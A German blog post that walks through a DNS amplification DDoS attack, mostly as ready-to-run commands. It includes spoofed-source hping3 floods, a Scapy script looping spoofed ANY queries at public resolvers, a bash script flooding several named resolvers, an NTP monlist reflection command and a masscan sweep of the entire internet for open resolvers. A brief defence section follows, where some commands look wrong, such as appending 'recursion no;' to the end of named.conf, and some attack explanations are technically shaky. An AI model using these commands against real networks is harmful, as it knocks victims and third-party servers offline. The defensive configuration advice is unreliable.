💭 Jeremys Brain

DNS-Amplification Angriff

4 min read

Einleitung

Ein DNS-Amplification Attack ist eine Form des Distributed Denial-of-Service (DDoS), bei der offene DNS-Resolver genutzt werden, um ein Ziel mit massivem Datenverkehr zu überfluten. Dabei werden IP-Spoofing und reflektierende Antworten genutzt, um mit minimalem Aufwand eine erhebliche Verstärkung des Datenverkehrs zu erreichen.

In diesem Bericht wird die technische Umsetzung eines solchen Angriffs beschrieben, einschließlich der notwendigen Tools und der zugehörigen Bash-Befehle unter Linux.

Technische Umsetzung eines DNS-Amplification Attacks

1. IP-Spoofing (Fälschen der Absender-IP)

Ein DNS-Amplification-Angriff beginnt mit dem Fälschen der Quell-IP-Adresse (IP-Spoofing). Dies kann mit dem Tool hping3 durchgeführt werden. Dafür muss der Angreifer Raw-Sockets verwenden, was Root-Rechte erfordert.

sudo hping3 -a [ZIEL-IP] -S --flood -p 53 [DNS-SERVER-IP]

Erklärung:

  • -a [ZIEL-IP]: Setzt die gefälschte Quell-IP auf die Adresse des Opfers.
  • -S: Sendet SYN-Pakete.
  • --flood: Sorgt für eine sehr schnelle Übertragung von Paketen.
  • -p 53: Zielport 53 (DNS-Anfragen).
  • [DNS-SERVER-IP]: Ein offener DNS-Resolver, der für die Verstärkung genutzt wird.

2. DNS-Amplification durch “ANY”-Anfragen

Ein DNS-Server kann mit einer “ANY”-Anfrage gezwungen werden, eine sehr große Antwort zu senden. Dies geschieht mit dem dig-Tool:

dig ANY example.com @8.8.8.8

Um eine gefälschte DNS-Anfrage im großen Maßstab zu senden, kann Scapy in Python verwendet werden:

from scapy.all import *
 
def dns_amplification(target_ip, dns_server):
    ip = IP(src=target_ip, dst=dns_server)
    udp = UDP(sport=RandShort(), dport=53)
    dns = DNS(rd=1, qd=DNSQR(qname="example.com", qtype="ANY"))
    packet = ip/udp/dns
    send(packet, loop=1, inter=0.1)
 
dns_amplification("ZIEL-IP", "8.8.8.8")

Erklärung:

  • IP(src=target_ip, dst=dns_server): Setzt das Opfer als Quell-IP.
  • UDP(sport=RandShort(), dport=53): Nutzt ein zufälliges Quellport-Feld für UDP.
  • DNSQR(qname="example.com", qtype="ANY"): Fragt nach allen DNS-Daten.
  • send(packet, loop=1, inter=0.1): Sendet das Paket kontinuierlich.

3. Angriff mit massiven DNS-Resolvern automatisieren

Ein Angreifer nutzt häufig eine Liste offener DNS-Server, um die Verstärkung zu maximieren. Dies kann mit einem einfachen Bash-Skript automatisiert werden:

#!/bin/bash
TARGET="ZIEL-IP"
DNS_SERVERS=("8.8.8.8" "1.1.1.1" "9.9.9.9" "208.67.222.222")
 
for server in "${DNS_SERVERS[@]}"
do
    hping3 -a $TARGET -2 -p 53 --flood $server &
done

Erklärung:

  • DNS_SERVERS=(...): Liste der DNS-Server.
  • hping3 -a $TARGET -2 -p 53 --flood $server &: Startet einen UDP-Flood auf jeden Server.

4. Verstärkung durch NTP-Reflection Attack

Zusätzlich zur DNS-Amplification kann auch das Network Time Protocol (NTP) ausgenutzt werden, um massiven Traffic zu erzeugen.

Angriff mit monlist-Abfrage:

echo -n "\x17\x00\x03\x2a\x00\x00\x00\x00" | nc -u -w1 192.168.1.1 123

Oder mit hping3:

sudo hping3 -2 -c 10000 -p 123 --flood -a [ZIEL-IP] [NTP-SERVER-IP]

Erklärung:

  • -p 123: NTP-Standardport.
  • --flood: Sorgt für viele Anfragen.
  • -a [ZIEL-IP]: Spoofing der Quelladresse.

5. Massenscan nach offenen DNS/NTP-Servern

Ein Angreifer kann mit masscan oder nmap nach anfälligen Servern scannen.

Scan nach offenen DNS-Servern:

Beispiel um das ganze Netwzerk nach rekursiv offenen DNS Servern zu suchen:

#!/bin/bash
 
RATE=10000
 
OPEN_DNS_FILE="open_recursive_dns.txt"
 
EXCLUDE_IP="255.255.255.255"
 
> "$OPEN_DNS_FILE"
 
test_dns_server() {
    local DNS_IP="$1"
    echo "[*] Teste $DNS_IP auf rekursive DNS-Anfragen..."
    
    RESPONSE=$(dig @$DNS_IP google.com ANY +recurse +time=2 +short)
 
    if [[ ! -z "$RESPONSE" ]]; then
        echo "[+] Offener rekursiver DNS-Server gefunden: $DNS_IP"
        echo "$DNS_IP" | tee -a "$OPEN_DNS_FILE" >/dev/null
        sync  # Erzwingt das sofortige Schreiben in die Datei
    fi
}
 
echo "[+] Starte Masscan-Scan nach offenen DNS-Servern..."
sudo masscan -p53 --rate=$RATE --open-only 0.0.0.0/0 --exclude $EXCLUDE_IP | while read -r line; do
    if [[ $line == Host* ]]; then
        DNS_IP=$(echo $line | awk '{print $2}')
        test_dns_server "$DNS_IP" &
    fi
done
 
echo "[+] Scan läuft... Offene rekursive DNS-Server werden in: $OPEN_DNS_FILE gespeichert."

Scan nach offenen NTP-Servern:

sudo nmap -sU -p 123 --script=ntp-monlist 0.0.0.0/0

Erklärung:

  • masscan --rate=100000 -p53 --open-only 0.0.0.0/0: Findet offene DNS-Server.
  • nmap -sU -p 123 --script=ntp-monlist 0.0.0.0/0: Findet angreifbare NTP-Server.

Schutzmaßnahmen gegen DNS-Amplification Attacks

1. DNS-Server absichern

✅ Rate-Limiting aktivieren: Begrenzen der Anzahl der Anfragen pro Sekunde.

sudo iptables -A INPUT -p udp --dport 53 -m limit --limit 10/s -j ACCEPT

✅ DNS-Recursion deaktivieren:

echo "recursion no;" >> /etc/named.conf

2. IP-Spoofing verhindern

✅ Egress-Filtering aktivieren:

iptables -A OUTPUT -s 192.168.1.0/24 -p udp --dport 53 -j DROP

3. Anti-DDoS-Dienste nutzen

✅ Cloudflare oder Akamai aktivieren, um bösartigen Traffic zu blockieren. ✅ Intrusion Detection Systeme (IDS) nutzen, z. B. Snort oder Suricata.

Fazit

Ein DNS-Amplification Attack nutzt offene DNS-Resolver aus, um mit wenig Aufwand massiven Traffic zu erzeugen. Die Angriffstechniken umfassen IP-Spoofing, ANY-Anfragen und die Nutzung von offenen DNS-Servern zur Verstärkung.

Obwohl diese Angriffsmethoden leistungsstark sind, gibt es effektive Gegenmaßnahmen, darunter Rate-Limiting, Egress-Filtering und Anti-DDoS-Dienste.

Network-Attacks-Overview

Tags

DNSAmplificationCybersecurityKaliLinuxPenetrationTesting

Graph View